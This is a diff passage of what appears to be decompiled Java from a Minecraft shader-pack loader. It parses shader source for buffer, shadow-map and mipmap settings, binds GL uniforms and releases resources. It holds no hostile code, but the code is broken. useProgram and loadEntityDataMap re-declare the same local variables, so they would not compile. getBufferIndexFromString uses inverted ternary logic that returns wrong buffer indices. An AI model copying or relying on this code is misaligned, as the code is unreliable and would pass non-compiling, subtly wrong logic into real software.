+                usedShadowColorBuffers = 3;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ shadowcolor3;.*"))
+            {
+              if (usedShadowColorBuffers < 4)
+              {
+                usedShadowColorBuffers = 4;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ depthtex0;.*"))
+            {
+              if (usedDepthBuffers < 1)
+              {
+                usedDepthBuffers = 1;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ depthtex1;.*"))
+            {
+              if (usedDepthBuffers < 2)
+              {
+                usedDepthBuffers = 2;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ depthtex2;.*"))
+            {
+              if (usedDepthBuffers < 3)
+              {
+                usedDepthBuffers = 3;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ gdepth;.*"))
+            {
+              if (gbuffersFormat[1] == 6408)
+              {
+                gbuffersFormat[1] = 34836;
+              }
+            }
+            else if ((usedColorBuffers < 5) && (line.matches("uniform [ _a-zA-Z0-9]+ gaux1;.*")))
+            {
+              usedColorBuffers = 5;
+            }
+            else if ((usedColorBuffers < 6) && (line.matches("uniform [ _a-zA-Z0-9]+ gaux2;.*")))
+            {
+              usedColorBuffers = 6;
+            }
+            else if ((usedColorBuffers < 7) && (line.matches("uniform [ _a-zA-Z0-9]+ gaux3;.*")))
+            {
+              usedColorBuffers = 7;
+            }
+            else if ((usedColorBuffers < 8) && (line.matches("uniform [ _a-zA-Z0-9]+ gaux4;.*")))
+            {
+              usedColorBuffers = 8;
+            }
+            else if ((usedColorBuffers < 5) && (line.matches("uniform [ _a-zA-Z0-9]+ colortex4;.*")))
+            {
+              usedColorBuffers = 5;
+            }
+            else if ((usedColorBuffers < 6) && (line.matches("uniform [ _a-zA-Z0-9]+ colortex5;.*")))
+            {
+              usedColorBuffers = 6;
+            }
+            else if ((usedColorBuffers < 7) && (line.matches("uniform [ _a-zA-Z0-9]+ colortex6;.*")))
+            {
+              usedColorBuffers = 7;
+            }
+            else if ((usedColorBuffers < 8) && (line.matches("uniform [ _a-zA-Z0-9]+ colortex7;.*")))
+            {
+              usedColorBuffers = 8;
+            }
+            else if ((usedColorBuffers < 8) && (line.matches("uniform [ _a-zA-Z0-9]+ centerDepthSmooth;.*")))
+            {
+              centerDepthSmoothEnabled = true;
+
+
+
+
+            }
+            else if (line.matches("/\\* SHADOWRES:[0-9]+ \\*/.*"))
+            {
+              String[] e = line.split("(:| )", 4);
+              SMCLog.info("Shadow map resolution: " + e[2]);
+              spShadowMapWidth = Shaders.spShadowMapHeight = Integer.parseInt(e[2]);
+              shadowMapWidth = Shaders.shadowMapHeight = Math.round(spShadowMapWidth * configShadowResMul);
+            }
+            else if (line.matches("[ \t]*const[ \t]*int[ \t]*shadowMapResolution[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Shadow map resolution: " + e[1]);
+              spShadowMapWidth = Shaders.spShadowMapHeight = Integer.parseInt(e[1]);
+              shadowMapWidth = Shaders.shadowMapHeight = Math.round(spShadowMapWidth * configShadowResMul);
+            }
+            else if (line.matches("/\\* SHADOWFOV:[0-9\\.]+ \\*/.*"))
+            {
+              String[] e = line.split("(:| )", 4);
+              SMCLog.info("Shadow map field of view: " + e[2]);
+              shadowMapFOV = Float.parseFloat(e[2]);
+              shadowMapIsOrtho = false;
+            }
+            else if (line.matches("/\\* SHADOWHPL:[0-9\\.]+ \\*/.*"))
+            {
+              String[] e = line.split("(:| )", 4);
+              SMCLog.info("Shadow map half-plane: " + e[2]);
+              shadowMapHalfPlane = Float.parseFloat(e[2]);
+              shadowMapIsOrtho = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*shadowDistance[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Shadow map distance: " + e[1]);
+              shadowMapHalfPlane = Float.parseFloat(e[1]);
+              shadowMapIsOrtho = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*shadowIntervalSize[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Shadow map interval size: " + e[1]);
+              shadowIntervalSize = Float.parseFloat(e[1]);
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*generateShadowMipmap[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("Generate shadow mipmap");
+              Arrays.fill(shadowMipmapEnabled, true);
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*generateShadowColorMipmap[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("Generate shadow color mipmap");
+              Arrays.fill(shadowColorMipmapEnabled, true);
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*shadowHardwareFiltering[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("Hardware shadow filtering enabled.");
+              Arrays.fill(shadowHardwareFilteringEnabled, true);
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*shadowHardwareFiltering0[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowHardwareFiltering0");
+              shadowHardwareFilteringEnabled[0] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*shadowHardwareFiltering1[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowHardwareFiltering1");
+              shadowHardwareFilteringEnabled[1] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowtex0Mipmap|shadowtexMipmap)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowtex0Mipmap");
+              shadowMipmapEnabled[0] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowtex1Mipmap)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowtex1Mipmap");
+              shadowMipmapEnabled[1] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowcolor0Mipmap|shadowColor0Mipmap)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowcolor0Mipmap");
+              shadowColorMipmapEnabled[0] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowcolor1Mipmap|shadowColor1Mipmap)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowcolor1Mipmap");
+              shadowColorMipmapEnabled[1] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowtex0Nearest|shadowtexNearest|shadow0MinMagNearest)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowtex0Nearest");
+              shadowFilterNearest[0] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowtex1Nearest|shadow1MinMagNearest)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowtex1Nearest");
+              shadowFilterNearest[1] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowcolor0Nearest|shadowColor0Nearest|shadowColor0MinMagNearest)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowcolor0Nearest");
+              shadowColorFilterNearest[0] = true;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*(shadowcolor1Nearest|shadowColor1Nearest|shadowColor1MinMagNearest)[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              SMCLog.info("shadowcolor1Nearest");
+              shadowColorFilterNearest[1] = true;
+            }
+            else if (line.matches("/\\* WETNESSHL:[0-9\\.]+ \\*/.*"))
+            {
+              String[] e = line.split("(:| )", 4);
+              SMCLog.info("Wetness halflife: " + e[2]);
+              wetnessHalfLife = Float.parseFloat(e[2]);
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*wetnessHalflife[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Wetness halflife: " + e[1]);
+              wetnessHalfLife = Float.parseFloat(e[1]);
+            }
+            else if (line.matches("/\\* DRYNESSHL:[0-9\\.]+ \\*/.*"))
+            {
+              String[] e = line.split("(:| )", 4);
+              SMCLog.info("Dryness halflife: " + e[2]);
+              drynessHalfLife = Float.parseFloat(e[2]);
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*drynessHalflife[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Dryness halflife: " + e[1]);
+              drynessHalfLife = Float.parseFloat(e[1]);
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*eyeBrightnessHalflife[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Eye brightness halflife: " + e[1]);
+              eyeBrightnessHalflife = Float.parseFloat(e[1]);
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*centerDepthHalflife[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Center depth halflife: " + e[1]);
+              centerDepthSmoothHalflife = Float.parseFloat(e[1]);
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*sunPathRotation[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Sun path rotation: " + e[1]);
+              sunPathRotation = Float.parseFloat(e[1]);
+            }
+            else if (line.matches("[ \t]*const[ \t]*float[ \t]*ambientOcclusionLevel[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("AO Level: " + e[1]);
+              aoLevel = Float.parseFloat(e[1]);
+              blockAoLight = 1.0F - aoLevel;
+            }
+            else if (line.matches("[ \t]*const[ \t]*int[ \t]*superSamplingLevel[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              int name1 = Integer.parseInt(e[1]);
+              
+              if (name1 > 1)
+              {
+                SMCLog.info("Super sampling level: " + name1 + "x");
+                superSamplingLevel = name1;
+              }
+              else
+              {
+                superSamplingLevel = 1;
+              }
+            }
+            else if (line.matches("[ \t]*const[ \t]*int[ \t]*noiseTextureResolution[ \t]*=[ \t]*-?[0-9.]+f?;.*"))
+            {
+              String[] e = line.split("(=[ \t]*|;)");
+              SMCLog.info("Noise texture enabled");
+              SMCLog.info("Noise texture resolution: " + e[1]);
+              noiseTextureResolution = Integer.parseInt(e[1]);
+              noiseTextureEnabled = true;
+
+
+
+
+
+            }
+            else if (line.matches("[ \t]*const[ \t]*int[ \t]*\\w+Format[ \t]*=[ \t]*[RGBA81632FUI_SNORM]*[ \t]*;.*"))
+            {
+              Matcher e1 = gbufferFormatPattern.matcher(line);
+              e1.matches();
+              String name = e1.group(1);
+              String bufferindex2 = e1.group(2);
+              int bufferindex1 = getBufferIndexFromString(name);
+              int format = getTextureFormatFromString(bufferindex2);
+              
+              if ((bufferindex1 >= 0) && (format != 0))
+              {
+                gbuffersFormat[bufferindex1] = format;
+                SMCLog.info("%s format: %s", new Object[] { name, bufferindex2 });
+              }
+            }
+            else if (line.matches("/\\* GAUX4FORMAT:RGBA32F \\*/.*"))
+            {
+              SMCLog.info("gaux4 format : RGB32AF");
+              gbuffersFormat[7] = 34836;
+            }
+            else if (line.matches("/\\* GAUX4FORMAT:RGB32F \\*/.*"))
+            {
+              SMCLog.info("gaux4 format : RGB32F");
+              gbuffersFormat[7] = 34837;
+            }
+            else if (line.matches("/\\* GAUX4FORMAT:RGB16 \\*/.*"))
+            {
+              SMCLog.info("gaux4 format : RGB16");
+              gbuffersFormat[7] = 32852;
+            }
+            else if (line.matches("[ \t]*const[ \t]*bool[ \t]*\\w+MipmapEnabled[ \t]*=[ \t]*true[ \t]*;.*"))
+            {
+              if ((filename.matches(".*composite[0-9]?.fsh")) || (filename.matches(".*final.fsh")))
+              {
+                Matcher e1 = gbufferMipmapEnabledPattern.matcher(line);
+                e1.matches();
+                String name = e1.group(1);
+                int bufferindex = getBufferIndexFromString(name);
+                
+                if (bufferindex >= 0)
+                {
+                  newCompositeMipmapSetting |= 1 << bufferindex;
+                  SMCLog.info("%s mipmap enabled for %s", new Object[] { name, filename });
+                }
+              }
+            }
+            else if (line.matches("/\\* DRAWBUFFERS:[0-7N]* \\*/.*"))
+            {
+              String[] e = line.split("(:| )", 4);
+              newDrawBufSetting = e[2];
+            }
+          }
+        }
+        
+
+
+        reader.close();
+      }
+      catch (Exception var13)
+      {
+        SMCLog.severe("Couldn't read " + filename + "!");
+        var13.printStackTrace();
+        ARBShaderObjects.glDeleteObjectARB(fragShader);
+        return 0;
+      }
+    }
+    
+    if (saveFinalShaders)
+    {
+      saveShader(filename, fragCode.toString());
+    }
+    
+    ARBShaderObjects.glShaderSourceARB(fragShader, fragCode);
+    ARBShaderObjects.glCompileShaderARB(fragShader);
+    
+    if (GL20.glGetShaderi(fragShader, 35713) != 1)
+    {
+      SMCLog.severe("Error compiling fragment shader: " + filename);
+    }
+    
+    printShaderLogInfo(fragShader, filename);
+    return fragShader;
+  }
+  
+
+  private static void saveShader(String filename, String code)
+  {
+    try
+    {
+      File e = new File(shaderpacksdir, "debug/" + filename);
+      e.getParentFile().mkdirs();
+      Config.writeFile(e, code);
+    }
+    catch (IOException var3)
+    {
+      Config.warn("Error saving: " + filename);
+      var3.printStackTrace();
+    }
+  }
+  
+  private static void clearDirectory(File dir)
+  {
+    if (dir.exists())
+    {
+      if (dir.isDirectory())
+      {
+        File[] files = dir.listFiles();
+        
+        if (files != null)
+        {
+          for (int i = 0; i < files.length; i++)
+          {
+            File file = files[i];
+            
+            if (file.isDirectory())
+            {
+              clearDirectory(file);
+            }
+            
+            file.delete();
+          }
+        }
+      }
+    }
+  }
+  
+  private static boolean printLogInfo(int obj, String name)
+  {
+    IntBuffer iVal = BufferUtils.createIntBuffer(1);
+    ARBShaderObjects.glGetObjectParameterARB(obj, 35716, iVal);
+    int length = iVal.get();
+    
+    if (length > 1)
+    {
+      ByteBuffer infoLog = BufferUtils.createByteBuffer(length);
+      iVal.flip();
+      ARBShaderObjects.glGetInfoLogARB(obj, iVal, infoLog);
+      byte[] infoBytes = new byte[length];
+      infoLog.get(infoBytes);
+      
+      if (infoBytes[(length - 1)] == 0)
+      {
+        infoBytes[(length - 1)] = 10;
+      }
+      
+      String out = new String(infoBytes);
+      SMCLog.info("Info log: " + name + "\n" + out);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private static boolean printShaderLogInfo(int shader, String name)
+  {
+    IntBuffer iVal = BufferUtils.createIntBuffer(1);
+    int length = GL20.glGetShaderi(shader, 35716);
+    
+    if (length > 1)
+    {
+      String log = GL20.glGetShaderInfoLog(shader, length);
+      SMCLog.info("Shader info log: " + name + "\n" + log);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  public static void setDrawBuffers(IntBuffer drawBuffers)
+  {
+    if (drawBuffers == null)
+    {
+      drawBuffers = drawBuffersNone;
+    }
+    
+    if (activeDrawBuffers != drawBuffers)
+    {
+      activeDrawBuffers = drawBuffers;
+      GL20.glDrawBuffers(drawBuffers);
+    }
+  }
+  
+  public static void useProgram(int program)
+  {
+    checkGLError("pre-useProgram");
+    
+    if (isShadowPass)
+    {
+      program = 30;
+      
+      if (programsID[30] == 0)
+      {
+        normalMapEnabled = false;
+        return;
+      }
+    }
+    
+    if (activeProgram != program)
+    {
+      activeProgram = program;
+      ARBShaderObjects.glUseProgramObjectARB(programsID[program]);
+      
+      if (programsID[program] == 0)
+      {
+        normalMapEnabled = false;
+      }
+      else
+      {
+        if (checkGLError("useProgram ", programNames[program]) != 0)
+        {
+          programsID[program] = 0;
+        }
+        
+        IntBuffer drawBuffers = programsDrawBuffers[program];
+        
+        if (isRenderingDfb)
+        {
+          setDrawBuffers(drawBuffers);
+          checkGLError(programNames[program], " draw buffers = ", programsDrawBufSettings[program]);
+        }
+        
+        activeCompositeMipmapSetting = programsCompositeMipmapSetting[program];
+        uniformEntityColor.setProgram(programsID[activeProgram]);
+        uniformEntityId.setProgram(programsID[activeProgram]);
+        uniformBlockEntityId.setProgram(programsID[activeProgram]);
+        
+        switch (program)
+        {
+        case 1: 
+        case 2: 
+        case 3: 
+        case 4: 
+        case 5: 
+        case 6: 
+        case 7: 
+        case 8: 
+        case 9: 
+        case 10: 
+        case 11: 
+        case 12: 
+        case 13: 
+        case 16: 
+        case 18: 
+        case 19: 
+        case 20: 
+          normalMapEnabled = true;
+          setProgramUniform1i("texture", 0);
+          setProgramUniform1i("lightmap", 1);
+          setProgramUniform1i("normals", 2);
+          setProgramUniform1i("specular", 3);
+          setProgramUniform1i("shadow", waterShadowEnabled ? 5 : 4);
+          setProgramUniform1i("watershadow", 4);
+          setProgramUniform1i("shadowtex0", 4);
+          setProgramUniform1i("shadowtex1", 5);
+          setProgramUniform1i("depthtex0", 6);
+          setProgramUniform1i("depthtex1", 12);
+          setProgramUniform1i("shadowcolor", 13);
+          setProgramUniform1i("shadowcolor0", 13);
+          setProgramUniform1i("shadowcolor1", 14);
+          setProgramUniform1i("noisetex", 15);
+          break;
+        
+        case 14: 
+        case 15: 
+        case 17: 
+        default: 
+          normalMapEnabled = false;
+          break;
+        
+        case 21: 
+        case 22: 
+        case 23: 
+        case 24: 
+        case 25: 
+        case 26: 
+        case 27: 
+        case 28: 
+        case 29: 
+          normalMapEnabled = false;
+          setProgramUniform1i("gcolor", 0);
+          setProgramUniform1i("gdepth", 1);
+          setProgramUniform1i("gnormal", 2);
+          setProgramUniform1i("composite", 3);
+          setProgramUniform1i("gaux1", 7);
+          setProgramUniform1i("gaux2", 8);
+          setProgramUniform1i("gaux3", 9);
+          setProgramUniform1i("gaux4", 10);
+          setProgramUniform1i("colortex0", 0);
+          setProgramUniform1i("colortex1", 1);
+          setProgramUniform1i("colortex2", 2);
+          setProgramUniform1i("colortex3", 3);
+          setProgramUniform1i("colortex4", 7);
+          setProgramUniform1i("colortex5", 8);
+          setProgramUniform1i("colortex6", 9);
+          setProgramUniform1i("colortex7", 10);
+          setProgramUniform1i("shadow", waterShadowEnabled ? 5 : 4);
+          setProgramUniform1i("watershadow", 4);
+          setProgramUniform1i("shadowtex0", 4);
+          setProgramUniform1i("shadowtex1", 5);
+          setProgramUniform1i("gdepthtex", 6);
+          setProgramUniform1i("depthtex0", 6);
+          setProgramUniform1i("depthtex1", 11);
+          setProgramUniform1i("depthtex2", 12);
+          setProgramUniform1i("shadowcolor", 13);
+          setProgramUniform1i("shadowcolor0", 13);
+          setProgramUniform1i("shadowcolor1", 14);
+          setProgramUniform1i("noisetex", 15);
+          break;
+        
+        case 30: 
+        case 31: 
+        case 32: 
+          setProgramUniform1i("tex", 0);
+          setProgramUniform1i("texture", 0);
+          setProgramUniform1i("lightmap", 1);
+          setProgramUniform1i("normals", 2);
+          setProgramUniform1i("specular", 3);
+          setProgramUniform1i("shadow", waterShadowEnabled ? 5 : 4);
+          setProgramUniform1i("watershadow", 4);
+          setProgramUniform1i("shadowtex0", 4);
+          setProgramUniform1i("shadowtex1", 5);
+          setProgramUniform1i("shadowcolor", 13);
+          setProgramUniform1i("shadowcolor0", 13);
+          setProgramUniform1i("shadowcolor1", 14);
+          setProgramUniform1i("noisetex", 15);
+        }
+        
+        ItemStack stack = mcthePlayer.getCurrentEquippedItem();
+        Item item = stack != null ? stack.getItem() : null;
+        Block block;
+        int itemID;
+        Block block;
+        if (item != null)
+        {
+          int itemID = Item.itemRegistry.getIDForObject(item);
+          block = (Block)Block.blockRegistry.getObjectById(itemID);
+        }
+        else
+        {
+          itemID = -1;
+          block = null;
+        }
+        
+        int blockLight = block != null ? block.getLightValue() : 0;
+        setProgramUniform1i("heldItemId", itemID);
+        setProgramUniform1i("heldBlockLightValue", blockLight);
+        setProgramUniform1i("fogMode", fogEnabled ? fogMode : 0);
+        setProgramUniform3f("fogColor", fogColorR, fogColorG, fogColorB);
+        setProgramUniform3f("skyColor", skyColorR, skyColorG, skyColorB);
+        setProgramUniform1i("worldTime", (int)worldTime % 24000);
+        setProgramUniform1i("moonPhase", moonPhase);
+        setProgramUniform1f("frameTimeCounter", frameTimeCounter);
+        setProgramUniform1f("sunAngle", sunAngle);
+        setProgramUniform1f("shadowAngle", shadowAngle);
+        setProgramUniform1f("rainStrength", rainStrength);
+        setProgramUniform1f("aspectRatio", renderWidth / renderHeight);
+        setProgramUniform1f("viewWidth", renderWidth);
+        setProgramUniform1f("viewHeight", renderHeight);
+        setProgramUniform1f("near", 0.05F);
+        setProgramUniform1f("far", mcgameSettings.renderDistanceChunks * 16);
+        setProgramUniform3f("sunPosition", sunPosition[0], sunPosition[1], sunPosition[2]);
+        setProgramUniform3f("moonPosition", moonPosition[0], moonPosition[1], moonPosition[2]);
+        setProgramUniform3f("shadowLightPosition", shadowLightPosition[0], shadowLightPosition[1], shadowLightPosition[2]);
+        setProgramUniform3f("upPosition", upPosition[0], upPosition[1], upPosition[2]);
+        setProgramUniform3f("previousCameraPosition", (float)previousCameraPositionX, (float)previousCameraPositionY, (float)previousCameraPositionZ);
+        setProgramUniform3f("cameraPosition", (float)cameraPositionX, (float)cameraPositionY, (float)cameraPositionZ);
+        setProgramUniformMatrix4ARB("gbufferModelView", false, modelView);
+        setProgramUniformMatrix4ARB("gbufferModelViewInverse", false, modelViewInverse);
+        setProgramUniformMatrix4ARB("gbufferPreviousProjection", false, previousProjection);
+        setProgramUniformMatrix4ARB("gbufferProjection", false, projection);
+        setProgramUniformMatrix4ARB("gbufferProjectionInverse", false, projectionInverse);
+        setProgramUniformMatrix4ARB("gbufferPreviousModelView", false, previousModelView);
+        
+        if (usedShadowDepthBuffers > 0)
+        {
+          setProgramUniformMatrix4ARB("shadowProjection", false, shadowProjection);
+          setProgramUniformMatrix4ARB("shadowProjectionInverse", false, shadowProjectionInverse);
+          setProgramUniformMatrix4ARB("shadowModelView", false, shadowModelView);
+          setProgramUniformMatrix4ARB("shadowModelViewInverse", false, shadowModelViewInverse);
+        }
+        
+        setProgramUniform1f("wetness", wetness);
+        setProgramUniform1f("eyeAltitude", eyePosY);
+        setProgramUniform2i("eyeBrightness", eyeBrightness & 0xFFFF, eyeBrightness >> 16);
+        setProgramUniform2i("eyeBrightnessSmooth", Math.round(eyeBrightnessFadeX), Math.round(eyeBrightnessFadeY));
+        setProgramUniform2i("terrainTextureSize", terrainTextureSize[0], terrainTextureSize[1]);
+        setProgramUniform1i("terrainIconSize", terrainIconSize);
+        setProgramUniform1i("isEyeInWater", isEyeInWater);
+        setProgramUniform1i("hideGUI", mcgameSettings.hideGUI ? 1 : 0);
+        setProgramUniform1f("centerDepthSmooth", centerDepthSmooth);
+        setProgramUniform2i("atlasSize", atlasSizeX, atlasSizeY);
+        checkGLError("useProgram ", programNames[program]);
+      }
+    }
+  }
+  
+  public static void setProgramUniform1i(String name, int x)
+  {
+    int gp = programsID[activeProgram];
+    
+    if (gp != 0)
+    {
+      int uniform = ARBShaderObjects.glGetUniformLocationARB(gp, name);
+      ARBShaderObjects.glUniform1iARB(uniform, x);
+      checkGLError(programNames[activeProgram], name);
+    }
+  }
+  
+  public static void setProgramUniform2i(String name, int x, int y)
+  {
+    int gp = programsID[activeProgram];
+    
+    if (gp != 0)
+    {
+      int uniform = ARBShaderObjects.glGetUniformLocationARB(gp, name);
+      ARBShaderObjects.glUniform2iARB(uniform, x, y);
+      checkGLError(programNames[activeProgram], name);
+    }
+  }
+  
+  public static void setProgramUniform1f(String name, float x)
+  {
+    int gp = programsID[activeProgram];
+    
+    if (gp != 0)
+    {
+      int uniform = ARBShaderObjects.glGetUniformLocationARB(gp, name);
+      ARBShaderObjects.glUniform1fARB(uniform, x);
+      checkGLError(programNames[activeProgram], name);
+    }
+  }
+  
+  public static void setProgramUniform3f(String name, float x, float y, float z)
+  {
+    int gp = programsID[activeProgram];
+    
+    if (gp != 0)
+    {
+      int uniform = ARBShaderObjects.glGetUniformLocationARB(gp, name);
+      ARBShaderObjects.glUniform3fARB(uniform, x, y, z);
+      checkGLError(programNames[activeProgram], name);
+    }
+  }
+  
+  public static void setProgramUniformMatrix4ARB(String name, boolean transpose, FloatBuffer matrix)
+  {
+    int gp = programsID[activeProgram];
+    
+    if ((gp != 0) && (matrix != null))
+    {
+      int uniform = ARBShaderObjects.glGetUniformLocationARB(gp, name);
+      ARBShaderObjects.glUniformMatrix4ARB(uniform, transpose, matrix);
+      checkGLError(programNames[activeProgram], name);
+    }
+  }
+  
+  private static int getBufferIndexFromString(String name)
+  {
+    return (!name.equals("colortex0")) && (!name.equals("gcolor")) ? 1 : (!name.equals("colortex1")) && (!name.equals("gdepth")) ? 2 : (!name.equals("colortex2")) && (!name.equals("gnormal")) ? 3 : (!name.equals("colortex3")) && (!name.equals("composite")) ? 4 : (!name.equals("colortex4")) && (!name.equals("gaux1")) ? 5 : (!name.equals("colortex5")) && (!name.equals("gaux2")) ? 6 : (!name.equals("colortex6")) && (!name.equals("gaux3")) ? 7 : (!name.equals("colortex7")) && (!name.equals("gaux4")) ? -1 : 0;
+  }
+  
+  private static int getTextureFormatFromString(String par)
+  {
+    par = par.trim();
+    
+    for (int i = 0; i < formatNames.length; i++)
+    {
+      String name = formatNames[i];
+      
+      if (par.equals(name))
+      {
+        return formatIds[i];
+      }
+    }
+    
+    return 0;
+  }
+  
+  private static void setupNoiseTexture()
+  {
+    if (noiseTexture == null)
+    {
+      noiseTexture = new HFNoiseTexture(noiseTextureResolution, noiseTextureResolution);
+    }
+  }
+  
+  private static void loadEntityDataMap()
+  {
+    mapBlockToEntityData = new java.util.IdentityHashMap(300);
+    
+    if (mapBlockToEntityData.isEmpty())
+    {
+      Iterator reader = Block.blockRegistry.getKeys().iterator();
+      
+      while (reader.hasNext())
+      {
+        ResourceLocation e = (ResourceLocation)reader.next();
+        Block m = (Block)Block.blockRegistry.getObject(e);
+        int name = Block.blockRegistry.getIDForObject(m);
+        mapBlockToEntityData.put(m, Integer.valueOf(name));
+      }
+    }
+    
+    BufferedReader reader1 = null;
+    
+    try
+    {
+      reader1 = new BufferedReader(new InputStreamReader(shaderPack.getResourceAsStream("/mc_Entity_x.txt")));
+    }
+    catch (Exception localException1) {}
+    
+
+
+
+    if (reader1 != null) {
+      try
+      {
+        String e1;
+        
+
+        while ((e1 = reader1.readLine()) != null) {
+          String e1;
+          Matcher m1 = patternLoadEntityDataMap.matcher(e1);
+          
+          if (m1.matches())
+          {
+            String name1 = m1.group(1);
+            String value = m1.group(2);
+            int id = Integer.parseInt(value);
+            Block block = Block.getBlockFromName(name1);
+            
+            if (block != null)
+            {
+              mapBlockToEntityData.put(block, Integer.valueOf(id));
+            }
+            else
+            {
+              SMCLog.warning("Unknown block name %s", new Object[] { name1 });
+            }
+          }
+          else
+          {
+            SMCLog.warning("unmatched %s\n", new Object[] { e1 });
+          }
+        }
+      }
+      catch (Exception var9)
+      {
+        SMCLog.warning("Error parsing mc_Entity_x.txt");
+      }
+    }
+    
+    if (reader1 != null)
+    {
+      try
+      {
+        reader1.close();
+      }
+      catch (Exception localException2) {}
+    }
+  }
+  
+
+
+
+  private static IntBuffer fillIntBufferZero(IntBuffer buf)
+  {
+    int limit = buf.limit();
+    
+    for (int i = buf.position(); i < limit; i++)
+    {
+      buf.put(i, 0);
+    }
+    
+    return buf;
+  }
+  
+  public static void uninit()
+  {
+    if (isShaderPackInitialized)
+    {
+      checkGLError("Shaders.uninit pre");
+      
+      for (int i = 0; i < 33; i++)
+      {
+        if (programsRef[i] != 0)
+        {
+          ARBShaderObjects.glDeleteObjectARB(programsRef[i]);
+          checkGLError("del programRef");
+        }
+        
+        programsRef[i] = 0;
+        programsID[i] = 0;
+        programsDrawBufSettings[i] = null;
+        programsDrawBuffers[i] = null;
+        programsCompositeMipmapSetting[i] = 0;
+      }
+      
+      if (dfb != 0)
+      {
+        EXTFramebufferObject.glDeleteFramebuffersEXT(dfb);
+        dfb = 0;
+        checkGLError("del dfb");
+      }
+      
+      if (sfb != 0)
+      {
+        EXTFramebufferObject.glDeleteFramebuffersEXT(sfb);
+        sfb = 0;
+        checkGLError("del sfb");
+      }
+      
+      if (dfbDepthTextures != null)
+      {
+        GlStateManager.deleteTextures(dfbDepthTextures);
+        fillIntBufferZero(dfbDepthTextures);
+        checkGLError("del dfbDepthTextures");
+      }
+      
+      if (dfbColorTextures != null)
+      {
+        GlStateManager.deleteTextures(dfbColorTextures);
+        fillIntBufferZero(dfbColorTextures);
+        checkGLError("del dfbTextures");
+      }
+      
+      if (sfbDepthTextures != null)
+      {
+        GlStateManager.deleteTextures(sfbDepthTextures);
+        fillIntBufferZero(sfbDepthTextures);
+        checkGLError("del shadow depth");
+      }
+      
+      if (sfbColorTextures != null)
+      {
+        GlStateManager.deleteTextures(sfbColorTextures);
+        fillIntBufferZero(sfbColorTextures);
+        checkGLError("del shadow color");
+      }
+      
+      if (dfbDrawBuffers != null)
+      {
+        fillIntBufferZero(dfbDrawBuffers);
+      }
+      
+      if (noiseTexture != null)
+      {
+        noiseTexture.destroy();
+        noiseTexture = null;
+      }
+      
+      SMCLog.info("Uninit");
+      shadowPassInterval = 0;
+      shouldSkipDefaultShadow = false;
+      isShaderPackInitialized = false;
+      checkGLError("Shaders.uninit");
+    }
+  }
+  
+  public static void scheduleResize()
